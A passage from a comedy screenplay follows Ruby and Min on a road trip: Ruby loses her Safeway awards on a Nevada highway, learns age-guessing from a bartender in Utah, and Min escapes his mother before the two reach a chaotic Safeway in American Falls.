know?\nBRIAN\nOf course I knew. The whole town\nknew! Why do you think so many\npeople shopped at our store?\nRUBY\nFor…the above-average customer\nservice?\nBRIAN\nI just heard him flush the toilet\nnow. Have a drink, forget your\nsorrows, move on. Oh, and my\ncousin’s side piece is the manager\nat Ralph’s. If you need a job, she\ncan hook you up. Tata!\nAs Brian hangs up, an attractive young man comes back to the\ncouch. Brian flirtatiously smiles at him, then glances over\nto see Jessie sitting in the corner of the room staring at\nthem, wearing her god-awful flipper. He frowns.\nEXT. SIGMA CHI FRAT HOUSE – NIGHT\nRuby puts her phone back in her backpack. Min, now sitting\nclose to Ruby, sips out of the bottle of Bottomfeeder’s Ruby\ndropped on the lawn.\nMIN\nAdult beverage?\nIn a very similar manner as the cottage cheese, Ruby refuses\nat first, only to take a sip from the bottle a few moments\nlater. She holds a large gulp in her mouth, her face becoming\nmore and more disgusted. The vodka slowly dribbles out her\nmouth down her outfit.\n\n53.\nINT. SHITTY HOTEL – NIGHT\nRuby stumbles in. Babs abruptly lifts her head from the\ncounter at the sound of their entrance.\nBABS\nRuby! Look at you, you young and\nnasty sex lord! How was it?\nRuby looks up, withered and a changed woman.\nBABS (CONT’D)\nYou know what, you don’t gotta tell\nme the dirty details. I remember\nthose nights. Besides, the smell\nspeaks for itself.\nBabs winks and puts her head back on the counter.\nRuby pauses, tired and confused. Min follows close behind.\nMIN\nNow we can say we’ve been to a\nparty.\nRuby walks over to the broken slot machine and slouches over\non it. She accidentally presses one of the buttons and the\nmachine lights up.\nJackpot noises start playing and the machine begins shooting\ncoins out at her face. Unfazed, an exhausted Ruby gets up and\nheads for the elevator.\nINT. HOTEL ROOM – NEXT MORNING\nMin is methodically brushing his teeth in the open bathroom.\nRuby is looking in the full body mirror near the bed, wearing\nher signature khaki colored shirt and black pants.\nShe looks uncomfortable, fidgeting with the fabric and\nreadjusting how it lays on her body. Min notices.\nMIN\n(while brushing)\nItchy?\nRUBY\nThey don’t fit anymore.\nThey do, in fact, still fit.\nThe Ruby standing in the mirror is one we haven’t seen\nbefore. Unsure, uncomfortable, scared.\n\n54.\nEXT. SHITTY HOTEL PARKING LOT – DAY\nRuby shuts the trunk after packing her bag. Babs waves from\nthe entrance in the same sweatsuit she was wearing yesterday.\nBABS\nYou two come back soon okay? Next\ntime you’re here I’ll sell you some-\nRuby closes the door as Babs continues talking. Min rolls\ndown his window.\nBABS (CONT’D)\n-feels just like you’re floating on\nclouds, if clouds were made out of\nfire.\nRuby and Min wave as they pull out in the PT Cruiser. Babs\npulls some mystery powder out of her pocket and snorts it.\nShe smiles, and walks back inside.\nINT. PT CRUISER – DAY\nThey both stare forward.\nMIN\nI liked Vegas.\nRuby can’t even get herself to fake agree for his sake.\nMIN (CONT’D)\nThank you for taking me.\nThey sit in silence. Min goes to turn on the radio. The first\nchannel is Christian rock, the next Americanized Reggae, the\nnext Beach Boys. He turns off the radio.\nBack to silence. A painful amount of quiet, broken only by\nthe familiar whirring of the road.\nRUBY\nDo you think our store burned down\nfor a reason? You know, to stop me\nfrom selling to anymore…you know…\nMIN\nNo, I think it was an electrical\nshort.\nRuby nods.\n\n55.\nRUBY\nThe GPS on my cell phone says we\nshould get to Jasmine’s house in a\nfew hours.\nMin nods.\nPOP. One of the tires instantly loses pressure.\nRUBY (CONT’D)\nWhat in the? What in the? What in\nthe? What-\nThe sound of a metal wheel scratching pavement.\nRuby pulls out her screaming meanie, immediately turning her\nhazards on and pulling over. She sounds the siren.\nMIN\nRuby no! It’s just a flat tire!\nTurn it off!\nRuby silences the device.\nRUBY\nYou’re right, sorry. Cars come\nequipped with a spare tire for\nemergency purposes, so we will be\njust fine.\nRuby reaches under her seat and grabs a neon yellow vest. She\nputs it on, takes a deep breath, and exits the car.\nEXT. DESOLATE NEVADA HIGHWAY – DAY\nRuby walks with renewed purpose to the back of her car. Sure\nenough, the back-left tire is flat. She places her belongings\non the pavement to retrieve the spare: A shoe box, the white\nbinder, a couple pieces of familiar luggage.\nAfter popping the bottom out, she stretches her hands in\npreparation for grabbing the donut. Doing her best to lift\nwith her legs, she hugs the tire and spins around.\nIn the process, she knocks her stuff over on the road. Her\nshoebox full of employee of the month certificates and\ncompliment cards topples over, the lid coming off. The pieces\nof paper go flying in the wind.\nRUBY\nNO!\n\n56.\nShe drops the tire and tries to grab the box, but it’s too\nlate, it’s empty.\nMin hops out of the car, his mouth barely ajar.\nRuby instinctively chases the papers flying down the highway.\nMIN\nRuby!\nCars swerve to avoid her, honking their horns. She doesn’t\nstop, but she’s not getting any closer to catching them.\nMIN (CONT’D)\nRuby!\nShe slows down, unclear as to whether it’s because of Min’s\nyelling or immediate onset exhaustion. She turns around to\nface Min, her face drenched in horror.\nAfter ten years of customer-service smiles, she breaks. In a\nchildlike way, she screams through her tears.\nRUBY\nNo! No no no! Please no!\nShe falls to her knees, covering her wails with her hands.\nMin jogs up behind Ruby, prepared with a bottle of water. He\nsits down next to her, she doesn’t look over at him.\nThe two sit on the side of the road - Min very still, Ruby\nanything but. Ruby grabs the bottle of water with shaky\nhands, crunching her fingers into the plastic, letting the\nsobs take over her body.\nMin leans his head on to her shoulder. The surprise of it is\nenough to get Ruby’s breathing to normalize. She ungracefully\nreciprocates and tilts her head on to Min’s.\nMIN\nWait right here.\nMin scurries to the car. He comes back, holding something\nbehind his back. Ruby doesn’t care to look. Just then, Min\nstarts playing “I believe I can fly” on his flute.\nRuby lets a comforted smile creep across her face. As the\nballad fills the silent sadness, cards and certificates soar\naway in the far-off distance.\n\n57.\nEXT. PT CRUISER HOOD – DAY\nMin and Ruby lay against the windshield. The unforgiving\nNevada sun beats down on them, but they seem unfazed.\nRUBY\nHey Min? Can I ask you something?\nMIN\nLike, from the chat pack?\nRUBY\nNo, from my head.\nMIN\nOh, sure.\nRUBY\nDo you want to be an astronaut?\nMIN\nNo. I’m afraid of the dark. And\nheights. And celestial objects.\nRUBY\nThen why do you tell every woman\nyou date that you work for NASA?\nMin sits quietly with this. He looks down and sighs.\nMIN\nNo one ever wants to date a deli\nboy.\nRuby sits up with shock.\nRUBY\nAre you kidding me? You have one of\nthe coolest careers in the world!\nSecond only to alcohol sales, no\noffense.\nA smile creeps across Min’s face.\nRUBY (CONT’D)\nYou cater to the countless cold-cut\nneeds of our customers. Without\nyou, no one be able to make a\nsandwich worth their time. Besides,\nastronauts are overrated anyways. I\nbet none of them could even work a\ncommercial twelve-inch gravity-fed\nmeat slicer if they tried.\n\n58.\nMin proudly nods.\nRUBY (CONT’D)\nAnd you’re not a deli boy. You’re a\ndeli man.\nRuby cools down from her rant and lays back down on the hood.\nRUBY (CONT’D)\nDo you think your dad is still a\ndeli man?\nMIN\nI hope so.\nRUBY\nMaybe one day you’ll find him and\nyou can ask.\nA bit of silence. Suddenly, Ruby hops off the hood of the\ncar, ungracefully of course. She heads to the trunk, and\nreturns with the large white binder we’ve seen peeks of.\nRUBY (CONT’D)\nI’ve never shown this to anyone\nbefore, but...\nShe plops the binder in between them. The cover page says\n“Ruby’s”.\nMIN\nWhat is it?\nRUBY\nIt’s a grocery store called Ruby’s.\nIt’s not real, but it’s a place\nwhere I put all my ideas for my\nperfect imaginary grocery store.\nMin takes the binder and opens to a page filled with several\nA-frame architecture pictures. Ruby looks over his shoulder.\nRUBY (CONT’D)\nI’ve always thought Safeway’s\nentrance was so anticlimactic.\nSafeway has everything! But from\nafar, without that sacred logo, it\nlooks kinda like...nothing. I\nreally like how grand 20th-century\nSpanish chalet A-frames look, so I\npicture my imaginary grocery\nstore’s entrance to look like that.\nYou know, something beautiful.\n\n(MORE)\n59.\nMin flips to another page. More collaged photos, this time of\nwine. It’s starting to look like a wedding inspo binder.\nRUBY (CONT’D)\nI’ve kept track of our customer’s\nfavorite wine brands over the last\nten years. I figured stocking the\nshelves with what the people want\nwould be a good idea.\nMIN\nRuby this is...\nHe speechlessly flips through the pages. Uniform inspo, tileflooring\ninspo, everything. The binder is bursting at the\nseams with ideas.\nRUBY\nStupid, I know.\nMIN\nIt’s the coolest thing I’ve ever\nseen.\nRUBY\nPlease don’t tell Brian or anybody\nat work about it. I love Safeway\nmore than anything, I don’t want\nthem to think I’m not loyal.\nA suddenly self-conscious Ruby takes the binder back.\nMIN\nThank you for showing that to me.\nRUBY\n(hesitantly)\nThanks for saying it’s cool.\nMIN\nWhy didn’t you take the manager\nposition Brian kept offering?\nRUBY\nI work in alcohol. It’s a higher\nhonor than being manager.\nMIN\nHow?\nRUBY\nThe liquor section is its own\nlittle world.\n\nRUBY (CONT’D)\n(MORE)\n60.\nAnd I’m the only one in there, so I\nget to be the one to fix all the\nproblems. To take care of it. To\nmake sure it’s everything it could\nbe.\nMIN\nSo you like being in charge?\nRUBY\nOh no, I’m not in charge. Brian is\nthe manager. Was the manager...\nRuby shudders away the painful memory.\nRUBY (CONT’D)\nYou know the person with the most\nemployee-of-the-month awards in\nSafeway company history actually\nworked in American Falls at Alpha\nSafeway.\nMIN\nMaybe you’ll get to meet them.\nRUBY\nI doubt it. They haven’t gotten an\naward in the last three years, I’m\nguessing they retired or something.\nMIN\nWell then when you get a job at\nAlpha Safeway, maybe you’ll finally\nbeat them.\nRuby smiles. They stare back up at the sky as a roadsideassistance\ntruck with its lights on approaches from behind.\nRUBY\nYou think they have grocery stores\nin space?\nMIN\nYeah. Grocery stores are universal.\nINT. CAR ON SIDE OF HIGHWAY – EVENING\nRuby immediately buckles herself in.\nRUBY\nIf we leave now, we can get to\nJasmine’s just an hour after\nsundown.\n\nRUBY (CONT’D)\n61.\nIf we blast cold air and sing show\ntunes, I can probably avoid a\nnarcoleptic episode.\nMIN\nWe can just get there tomorrow.\nRUBY\nReally?\nMIN\nYeah. I am having fun on this road\ntrip.\nRUBY\nYou…you are?\nMin nods.\nRUBY (CONT’D)\nWell then, where shall we stay\ntonight?\nCUT TO:\nEXT. ROAD - EVENING\nThe purple stallion drives past a sign that reads “Welcome to\nRichfield, Utah!”\nEXT. HOLIDAY INN – EVENING\nRuby closes the trunk of the car looking up at the hotel. Min\nleads the way.\nINT. HOLIDAY INN LOBBY – EVENING\nMin enters, holding his mess of clothes sans suitcase. He\napproaches the front desk and waits for an attendant.\nRUBY\nI’ve never been to a Holiday Inn\nbefore, this is exciting!\nMIN\nCalm down.\nRuby is taken aback. She looks to Min, and the faintest grin\ncrosses his face. Did Min really…make a joke?\nJust then, a HOTEL EMPLOYEE comes to the counter.\n\n62.\nHOTEL EMPLOYEE\nChecking in?\nMIN\nYes.\nHOTEL EMPLOYEE\nLast name?\nMIN\nMin.\nRUBY\nWait…Min is your last name?\nMin nods.\nRUBY (CONT’D)\nWait, then what’s your-\nHOTEL EMPLOYEE\nYour room number is listed on the\nkey holder. Breakfast is served\nfrom 6 to 11, and the bar is open\nuntil midnight.\nMIN\nThe bar?\nHOTEL EMPLOYEE\nYep! Right behind you.\nThe employee points to a modest, empty bar with a female\nbartender cleaning glasses behind the counter.\nMIN\nRuby, I have an idea.\nRuby looks on, half confused and half concerned.\nCUT TO:\nINT. HOLIDAY INN BAR – EVENING\nMin and Ruby approach the bar to find JETT, a 30-something\ngoth-turned-barkeep. She’s edgy, intimidating, and nothing at\nall like our two beloved heroes.\nJETT\nHey guys, what can I get ya?\n\n63.\nMIN\nI’d like to get my friend Ruby\ndrunk.\nRUBY\nOh, I don’t know about that. IMIN\nShe went to a party. It didn’t go\nwell. And now I’d like to recreate\nthe party atmosphere.\nJETT\nThat’s the spirit! Here, first\nround’s on the house.\nJett pours three shots of tequila.\nRUBY\nOh no, we can pay for them. I\nwouldn’t want you getting in\ntrouble with your manager for\npouring shots free of charge.\nJETT\nBelieve it or not, I actually own\nthis hotel. I just like working at\nthe bar, too. Cheers!\nJett throws the shot back like it’s water. Ruby, still\nshocked from Jett’s owner status, takes the shot in that\nbumbly sorta way beginners do. Ruby fails to hide her\ndisgust, Min looks delighted by the taste.\nRUBY\nHow come you didn’t ID us?\nJETT\nYou’re twenty six, he’s twenty\neight.\nThey both stand in awe. Ruby quickly turns Min around to\nwhisper and confer.\nRUBY\nAre you twenty-eight?\nMIN\nYes. Are you twenty-six?\nRUBY\nYes.\nThe two turn back around to face Jett.\n\n64.\nJETT\nIt’s the gift of a bartender. With\nenough practice, you pinpoint\nsomeone’s age down to the month.\nNow you guys drinking with me or\nwhat?\nRuby looks towards Min, unsure, until she sees Min’s face\nbreak into a smile. She can’t help but smile in return.\nINT. HOLIDAY INN BAR – LATER\nEmpty glasses on the counter with soaked napkins and semisucked\nlime wedges.\nRuby. Is. Drunk. Slurred speech, giggles, the whole shebang.\nMin looks like he’s vibing as well.\nRUBY\nYou guys wanna hear a secret?\nJett looks on with a sort of maternal pride.\nJETT\nWhat’s your secret, sweetheart?\nRUBY\nI think Safeway overcharges for its\nfine cheeses.\nJETT\n(sarcastically)\nNoooo.\nRUBY\nShhh, don’t tell them I said that.\nI also think the self-checkout\nmachines are total bologna. They\nmalfunction every time you use\nthem.\nRuby smirks and covers her mouth, as if she just revealed\nsome controversial gossip. Min looks at her with shock.\nMIN\nI don’t like the way my hands smell\nafter I leave work.\nJett looks like she’s having a field day with these two.\nRUBY\nThank you for sharing that Min.\n\n65.\nMin gently sniffs his fingertips.\nRUBY (CONT’D)\nJett?\nJETT\nYes Ruby?\nRUBY\nTeach me your age-identifying ways.\nI never want to sell to another\nminor for as long as I live, if I’m\nso lucky as to work in alcohol\nsales again one day.\nJETT\nIt’s pretty easy once you get the\nhang of it. We just need some\npeople to practice on.\nRUBY\nThere’s nobody here.\nJETT\nI know. Follow me.\nCUT TO:\nINT. HOLIDAY INN HALLWAY – NIGHT\nJett and her two drunk puppies follow her down a hallway of\nrooms. Jett pulls out her official Holiday Inn name tag from\nher back pocket.\nJETT\nYou’d be surprised how powerful\nwearing a name tag makes you.\nRuby looks to Min in total fangirl mode. Jett knocks on a\nrandom door and out comes a TIRED WOMAN in a nightgown.\nJETT (CONT’D)\nGood evening ma’am, we’re so sorry\nto wake you at this hour. Do you\nhappen to have your ID on you?\nTIRED WOMAN\nMy ID?\nJETT\nYes, standard hotel procedure. Just\nwant to make sure everyone is in\nthe right room tonight.\n\n66.\nTIRED WOMAN\nUh, sure. Let me go get it.\nTired woman retreats into her room.\nJETT\nQuick, how old do you think she is?\nRUBY\nWhat? I don’t know! I haven’t seen\nher ID yet.\nJETT\nShe’s obviously a recent forty-two.\nCrow’s feet, hair roots, but with a\nslight glimmer of youth, the signs\nare all there.\nTired woman returns and hands over her ID to Jett. She takes\na quick look then hands it back.\nJETT (CONT’D)\nAlright, looks good Mrs. Krieger!\nHave a nice night!\nShe closes the door, Jett leads the other two away.\nRUBY\nWell?\nJETT\nShe turned 42 six weeks ago. Let’s\nmove, I have a lot to teach you.\nMONTAGE:\n- An old woman stares confusedly at Ruby. She writes 53 on\nher piece of paper. Jett looks appalled by the guess.\n- Ruby stares at a young man covered in tattoos and\npiercings. She writes 14, Jett shakes her head no.\n- A mother holding her baby stand impatiently. Ruby writes\n“Mom - 60. Baby - Under 21 (I think).” Jett sighs heavily.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA frustrated Ruby crumbles a piece of paper and throws it on\nthe ground.\n\n67.\nRUBY\nWe should just stop. I’m never\ngoing to be able to properly\nidentify a patron’s age.\nJETT\nNot with that attitude you’re not.\nMaybe we just need to get a little\nmore liquid confidence in ya.\nRUBY\nYou mean more alcohol?\nJett gives her a knowing look.\nCUT TO:\nINT. HOLIDAY INN BAR – NIGHT\nMore shots. More puckering faces. More uncontainable giggles.\nRuby reaches into her pocket, pulls out her name tag, and\nfastens it to her shirt.\nMONTAGE:\n- Two bikers in their 50s stand angrily in a doorway. Ruby\nwrites “Above 21” and Jett encouragingly nods. She turns back\ntowards the bikers and fearfully shuts the door.\n- A father and his son await Ruby’ verdict. She writes “16-18\nand 45-50.” Jett’s jaw drops and nods again.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA YOUNG MAN stands tired in the hallway, Ruby stares at him\nwith wicked intent.\nYOUNG MAN\nThis doesn’t make any sense, why do\nyou need to-\nJETT\nShush! Alright Ruby, above or below\ntwenty-one.\nRUBY\nUmmm...\nShe squints at the man. He’s viscerally uncomfortable.\nRUBY (CONT’D)\nHold your horses.\n\n68.\nShe steps closer to the man and squints more intensely.\nRUBY (CONT’D)\nHe’s twenty one on the dot!\nJett checks the man’s ID and smiles.\nJETT\nTurned twenty one last month.\nRUBY\nWell sir, you are able to legally\npurchase alcohol any time you like.\nRuby does an uncoordinated happy dance to herself\nMIN\nAnd your favorite deli meat is\nhickory-smoked ham.\nEveryone turns towards Min. He looks disheveled, and he’s\nwearing a pair of sunglasses from god knows where. He tips\nhis sunglasses down to make eye contact with the man.\nYOUNG MAN\nI…I do love hickory smoked ham.\nMin pushes his shades back up and walks away. An ecstatic\nRuby and Jett follow behind.\nINT. RUBY AND MIN’S HOTEL ROOM – NIGHT\nRuby and Min stumble in the room with Jett’s loving\nassistance. They’re giggly as hell.\nRUBY\nI can’t believe this is what being\ndrunk feels like.\nJETT\nPretty fun, isn’t it?\nRUBY\nFun? Are you kidding me? I’m\nunstoppable!\nRuby tries zooming around the room at what feels like hyperspeed,\nbut all we see is Ruby slowly bumping into furniture.\nInterrupting Ruby’s super-sonic sprints are the sudden sounds\nof Min’s flute. By the sounds of it, he’s playing “Girls Just\nWant to Have Fun” by Cyndi Lauper.\n\n69.\nJETT\nAs much as I want to keep this\nparty alive, I better get home.\nRuby gives Jett a giant, warm hug.\nRUBY\n(into Jett’s ear)\nThank you for helping me.\nJETT\nGood luck at Alpha Safeway. And\ndrink lots of water tonight, okay?\nRUBY\nWhy?\nJETT\nWell, if you don’t, you’ll wake up\nwith a really bad-\nCUT TO:\nINT. HOTEL BATHROOM – MORNING\nRuby stands in the mirror, deeply hungover. She’s never had\none before, and it shows. Every routine morning preparation\nis draining the life out of her.\nINT. HOTEL ROOM – MORNING\nRuby exits the bathroom to find Min spooning his flute.\nRUBY\nMin.\nHis eyes instantly open.\nRUBY (CONT’D)\nDo you feel sick too?\nMIN\nLet me see.\nHe sits up and contemplates for a bit. He slowly stands,\ntakes some cautious steps towards the bathroom, and gently\ncloses the door on Ruby. And then-\nThe unmistakable sound of hungover puking. Ruby rubs her\ntemples as he finishes what he must do.\nThe door reopens.\n\n70.\nMIN (CONT’D)\nYes, I do feel sick.\nRuby leans against the wall and slides down, cradling her\nhead in her hands. Min gets up and slides next to her.\nMIN (CONT’D)\nI had fun last night.\nRuby’s pitiful hungover aura is suddenly penetrated. She\nsmiles and looks over to Min.\nRUBY\nMe too.\nThey sit there quietly giggling to themselves as memories\nfrom the night before blissfully come back to them.\nEXT. SUBURBAN NEIGHBORHOOD – MORNING\nThe PT Cruiser rolls up in front of a plain house. Min and\nRuby both look through the passenger window at it.\nRUBY\nI wish you nothing but luck and\nprosperity with Jasmine.\nMIN\nAre you gonna be okay?\nRUBY\nFrom the hangover? Only time will\ntell.\nMIN\nAre you gonna be okay after the\nhangover?\nRuby smiles to herself.\nRUBY\nYeah, I think so. I have the gift\nof age-identification. I’m\nunstoppable.\nMin smiles and stationarily imitates Ruby zooming through the\nroom from the night before. She looks embarrassed.\nMIN\nThank you for bringing me here.\nRUBY\nOf course. Anything for a friend.\n\n71.\nMin gets out of the car and opens the trunk. He comes back\nover to the window, carrying his pile of clothes. He waves to\nRuby. She rolls down the window.\nRUBY (CONT’D)\nMin wait! Take this.\nShe reaches down and grabs the chat pack from her cupholder\nand hands it to him through the window.\nRUBY (CONT’D)\nIn case you guys run out of things\nto talk about.\nMin grabs it, struggling to balance his clothes.\nMIN\nThank you, Ruby.\nThey look at each other, as if waiting for the other person\nto say something. After several seconds of silence, Min nods.\nRuby nods back.\nMin turns away and heads for the front door.\nRuby rolls up the window, and when it closes, the car seems\nquieter than it’s ever been.\nShe opens the center console and pulls out a large paper map.\nAs she unfolds it dramatically, something falls out.\nIt’s the friendship card from Walgreens. Ruby picks it up and\nlooks out the window to catch a glimpse of the front door\nclosing. She looks to her empty passenger seat.\nMin isn’t there. And it hurts.\nEXT. FRONT DOOR – DAY\nMin rings the doorbell. The door opens, but no one’s there.\nMIN\nJasmine? It’s Min.\nMin cautiously enters with his clothes and chat pack in tow.\nINT. JASMINE’S HOUSE - DAY\nThe walls of the house are overwhelmingly orange.\n\n72.\nMIN\nI like your walls. Orange is my\nfriend Ruby’s favorite color,\nactually.\nHe wanders further into the house, admiring the orangeiness.\nMIN (CONT’D)\nShe thinks her favorite color\nshould be Safeway red, but... I\nthink orange makes her happy.\nStill no sign of Jasmine. Min looks down at the chat pack.\nMIN (CONT’D)\nI know my profile said I’m an\nastronaut. But uh...\nMin swallows her nervousness.\nMIN (CONT’D)\nI’m actually a deli man. Preparing\ncold cuts and sliced cheeses is\nwhat I love to do. And I’ve been\ntold it’s one of the coolest\ncareers in the world. I would love\nto tell you about it if you-\nFrom around the corner, a flabbergasted MAMA MIN appears. All\ndialogue in italics is spoken in Korean.\nMAMA MIN\nA deli boy?\nMin looks terrified.\nMIN\nMama?\nMAMA MIN\nFirst you run away from me. Then\nyou pursue the devil’s career path?\nMIN\nWhere’s Jasmine? What did you do to\nher?\nMAMA MIN\nThere never was a Jasmine. Just\nMama.\nIn a state of heartbreak and fear, Min glances down. Sticking\nout just below the bottom of his shorts pokes out “Rule\nNumber 1: Never run away from Mama.”\n\n73.\nMAMA MIN (CONT’D)\nIt’s time to go home now, son.\nMin looks towards the front door. He looks back at his\nmother. She suddenly realizes what’s about to happen.\nMAMA MIN (CONT’D)\nDon’t make Mama angry.\nMin’s fear is replaced with determination.\nMIN\nI’m not a deli boy, Mama.\nShe looks on with curiosity.\nMAMA MIN\nI’m a deli man.\nHe takes off towards the front door.\nEXT. STOP LIGHT - DAY\nRuby sits at a red light to the tune of her left blinker. As\ntime passes, a faint scream is heard in the distance.\nMIN (O.S)\nRuby!\nRuby’s oblivious.\nMIN (O.S) (CONT’D)\nRuby! Ruby!\nThe shouts grow louder, but not enough to distract Arizona’s\nsafest driver.\nThe light turns green, and just as she hits the gas, she\ncatches the sight of Min in her rearview mirror. He’s running\nwith his pile of clothes in his arms.\nRUBY\nMin?\nShe slams on the brakes. He’s still pretty far away. She\nrolls down her window and shouts to him.\nRUBY (CONT’D)\nHold on! I’m going to put my car in\nreverse and back up until I reach\nyou or the situation becomes\nunsafe!\n\n74.\nShe throws the purple stallion in reverse, throws her hand\nbehind the passenger headrest, whips her head around, and\nbacks up…\n…at about three miles an hour. Min might actually be running\nfaster. They slowly approach a midpoint until they safely but\nungracefully collide.\nRUBY (CONT’D)\nOh god, Min! Are you okay?\nMin hurriedly gets in his familiar passenger seat.\nMIN\nGo!\nRUBY\nWhat happ-\nMIN\nRuby go! Go!\nJust then, Ruby looks in the rearview mirror. Sprinting down\nthe center of the road is MAMA MIN, Min’s evil yet incredibly\nnimble mother.\nRUBY\nOh my, is that your-\nMIN\nYes! Please go!\nRuby throws it in drive and re-approaches the stoplight. She\nturns on her left blinker and waits at the red light.\nMIN (CONT’D)\nWe can’t wait for it to turn green!\nRUBY\nI can’t control the lights, Min!\nWhen they’re red, they’re red!\nMIN\nWell turn right then! That’s\nallowed!\nRUBY\nHuh. That’s quite the loophole\nyou’ve found. Not a bad-\nMIN\nHurry!\n\n75.\nShe puts her hazards on, repeats her cautious backup process,\nand uses her right blinker to change lanes. As she tries to\nturn right, there’s a steady stream of oncoming cars.\nMama Min is fast approaching, she runs like an Olympian.\nMIN (CONT’D)\nHurry! She’s almost here!\nMAMA MIN\nYou can’t keep running from me!\nRight when she is within leaping distance, the light turns\ngreen. Ruby quickly turns right and they take off on the open\nroad. Min’s mother turns the corner, but knows she can’t keep\nup to their speed any longer. She drops to her knees and\nscreams.\nINT. CAR - DAY\nRuby and Min, both in shock, drive in their familiar,\ncomfortable silence. Ruby waits a bit before asking.\nRUBY\nSo…Min?\nHe looks to her.\nRUBY (CONT’D)\nThat…that was your mother?\nMin nods.\nRUBY (CONT’D)\nWas she with Jasmine?\nMIN\nShe was Jasmine.\nRUBY\nOh.\nMin’s reality slowly sets in again. The silence hangs\nheavily.\nRUBY (CONT’D)\nMin, I’m so sorry. I should have\nwaited outside to make sure you\nwere safe. That’s what a real\nfriend would have done.\nRuby starts smacking herself on the forehead.\n\n76.\nRUBY (CONT’D)\nStupid stupid stupid!\nMin pulls her hand back.\nMIN\nRuby, you did save me. If it wasn’t\nfor your cautious driving and\nobeying of traffic laws, I would\nhave been running for the rest of\nmy life. And my mother certainly\nwould have caught up to me by that\npoint.\nRUBY\nShe’s fast.\nMIN\nShe’s always been fast.\nMin shudders.\nINT. SAFEWAY DRUG AISLE – DAY\nRuby and a noticeably sweaty Min stand side by side looking\nat their options for bottled water. He reaches for a bottle\nof Life Water\nRUBY\nBrand check.\nMin realizes he hasn’t grabbed the Signature Select variety.\nHe puts the Life Water back and grabs the Safeway brand. Ruby\nnods in approval.\nINT. SAFEWAY SELF CHECKOUT STATION – DAY\nMin scans his item. The MACHINE beeps, and Min places the\nitem in the bag.\nMACHINE LADY VOICE\nPlease place the item in the bag.\nMin looks at Ruby, who gives an “I told you so” look. Min\ntakes the item from the bag and puts it back in the bag.\nMACHINE LADY VOICE (CONT’D)\nPlease place the last item back in\nthe bagging area.\nMin replaces the item. There’s a pause.\n\n77.\nMACHINE LADY VOICE (CONT’D)\nPlease place the item in the bag.\nMIN\nWhat does she want from us?\nRUBY\nJust try scanning the bottle again.\nMin scans it again.\nMACHINE LADY VOICE\nPlease wait for an attendant.\nThe station’s light begins blinking.\nRUBY\nI’m half tempted to fix this\nmyself, but I wouldn’t dare rob the\npoor self-checkout attendee an\nopportunity to interact with a\npatron.\nThe two look over towards the employee stand. There stand two\nHIGH SCHOOL BOYS, lacking the work ethic Ruby would deem\nnecessary, oblivious to the blinking light.\nHIGH SCHOOL BOY 1\nDid I tell you, man? I shaved my\nlegs last night.\nHIGH SCHOOL BOY 2\nNo way!\nHIGH SCHOOL BOY 1\nI was just shaving my face and I\nfinished way earlier than I\nexpected.\nHIGH SCHOOL BOY 2\nSure, sure.\nHIGH SCHOOL BOY 1\nYou wanna feel?\nHIGH SCHOOL BOY 2\nYou’d be cool with that?\nHIGH SCHOOL BOY 1\nOf course I would.\nThe first boy begins rolling up his pant leg and the second\nboy places his hand on the first boy’s calf.\n\n78.\nRUBY\nExcuse me!\nThe boys look up mid calf stroke.\nHIGH SCHOOL BOY 1\nOh, pardon me ma’am. I’ll be right\nthere.\nHe rolls his pants down and walks towards their station.\nHIGH SCHOOL BOY 1 (CONT’D)\nThe machine get angry at ya?\nMIN\nYes. And I got angry at the\nmachine.\nHIGH SCHOOL BOY 1\nAh, see? Can’t do that. It can\nsense anger.\nThe attendant takes a deep breath, eyes closed, and scans the\nbottle of rubbing alcohol. The error message disappears and\nthe item successfully scans.\nRUBY\nThis can’t be how they trained you\nto fix that.\nThe second boy is suddenly behind them.\nHIGH SCHOOL BOY #2\nNo, but it’s how the machines want\nus to fix them.\nThe boys both give a slight bow in unison and return to their\nstand. Min pays for the items, Ruby deeply pondering what she\njust witnessed.\nEXT. SAFEWAY PARKING LOT – DAY\nRuby leans against the car, staring at the store sign.\nMIN\nImagining a chalet entrance?\nRuby whips around.\nRUBY\n(knowingly)\nNoooo.\n\n79.\nMIN\nI think it would look really nice.\nRuby smiles.\nEXT. AMERICAN FALLS CITY STREET - DAY\nThe PT Cruiser sails past a sign that reads “American Falls.”\nEXT. ALPHA SAFEWAY – DAY\nRuby is in her work uniform. Shirt starched, pants ironed,\nname tag perfectly horizontal, bra still visible. Whatever\nhangover remains hides behind her excitement.\nThis is her Mecca, her Disneyland, her Atlantis, and her face\nisn’t hiding the tidal wave of emotion flooding her body.\nRUBY\nIt’s beautiful. I don’t think I’m\nready though-\nRuby turns around and starts to head back towards the car.\nMIN\nHey Ruby?\nShe turns back towards him.\nMIN (CONT’D)\nI think you’re ready.\nShe takes a deep breath and returns to his side. The dynamic\nduo take a few steps forward and enters-\nINT. ALPHA SAFEWAY – DAY\nHer eyes light up, dramatic music plays, her face is glowing.\nBut as her vision focuses-\nChaos.\nAn angry patron is screaming at a cashier, who then takes her\ncarton of eggs and slams them to the floor.\nTwo patrons crash into one another with their shopping carts\nin a battle for the last can of Ranch-style beans.\nTo the left, produce rolls around on the floor as a child\nknocks over the displays. A WITHERED EMPLOYEE follows him.\n\n80.\nWITHERED EMPLOYEE\nWhere is mommmy, little boy? Where\nthe hell is MOMMY?\nRuby gives a concerning look to Min. They walk over to-\nINT. SAFEWAY CUSTOMER SERVICE - CONTINUOUS\n-where they see KATRINA the manager (45) with a lot of makeup\non for someone not in eighth grade.\nRUBY\nHi there! My name is Ruby and I was\nhoping to so humbly app-\nKatrina looks up from her phone.\nKATRINA\nThere’s a big mess outside the fish\ncase, could you grab the bucket and\nhelp Steve get those shrimp back on\nthe ice?\nRUBY\nI actually don’t work here…yet. My\nname is Ruby and I hail from the\ngreat state of Arizo-\nKATRINA\nConsider yourself hired. The\nbucket’s in the back closet by the\nbathrooms, which probably need\ncleaning too. I don’t think anyone\ngave birth in there, but I’ll be\ndamned if that’s not a placenta in\nthe trash can.\nRUBY\nUm, well you know, my specialties\nactually lie within alcohol sales.\nI have nearly ten-years of\nexperience and I’ve been recently\nretrained in correctly identifying-\nKATRINA\nYou want a job or not? Because the\njob I just gave you was to grab the\nbucket and help Steve. He has\ncarpel tunnel and won’t be able to\nfinagle those shrimp without the\nhelp of young, dexterous fingers\nlike yours, okay? Now go!\n\n81.\nRuby nervously nods and heads towards the back. Meanwhile,\nMin has made his way over to the-\nINT. SAFEWAY DELI – DAY\n-which is weirdly peaceful and serene. There, he meets MINA,\n(28) whose demeanor weirdly echoes Min’s. She’s quiet and\nremains still as she watches Min browse the 